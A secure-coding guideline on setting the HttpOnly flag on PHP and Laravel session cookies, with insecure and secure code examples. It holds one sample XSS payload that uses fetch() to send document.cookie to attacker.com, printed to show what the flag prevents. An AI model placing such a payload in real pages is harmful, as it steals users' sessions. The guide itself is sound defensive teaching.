---
title: Set HttpOnly On Session Cookies
impact: MEDIUM
impactDescription: prevents session cookies from being accessed by client-side JavaScript, mitigating XSS impacts
tags: cookies, httponly, xss, session, security, php
---

## Set HttpOnly On Session Cookies

The `HttpOnly` flag prevents client-side scripts (like JavaScript) from accessing the cookie. This is a critical defense-in-depth measure against Cross-Site Scripting (XSS) attacks. If an attacker succeeds in executing JavaScript on your page, they still won't be able to steal the session cookie and hijack the session.

**Incorrect (no HttpOnly flag):**

```php
// Insecure: cookie is readable via document.cookie in JavaScript
setcookie("session_id", $token);

// In php.ini or startup
// session.cookie_httponly = 0
```

**Correct (HttpOnly flag set):**

```php
// 1. Using setcookie (PHP 7.3+)
setcookie("session_id", $token, [
    'httponly' => true,   // JavaScript cannot access this cookie
    'secure' => true,
    'samesite' => 'Strict',
    'path' => '/',
]);

// 2. Global session configuration
session_set_cookie_params([
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Lax'
]);
session_start();

// 3. In Laravel (config/session.php)
'http_only' => true,
```

**XSS Attack Example (Prevented by HttpOnly):**
```javascript
// Attacker's payload if HttpOnly is MISSING:
fetch('https://attacker.com/steal?cookies=' + document.cookie);

// If HttpOnly is ENABLED:
// document.cookie will NOT contain the session_id
```

**Tools:** PHP Internal Config, OWASP ZAP, Browser Developer Tools (Check 'HttpOnly' column in Application/Cookies tab)
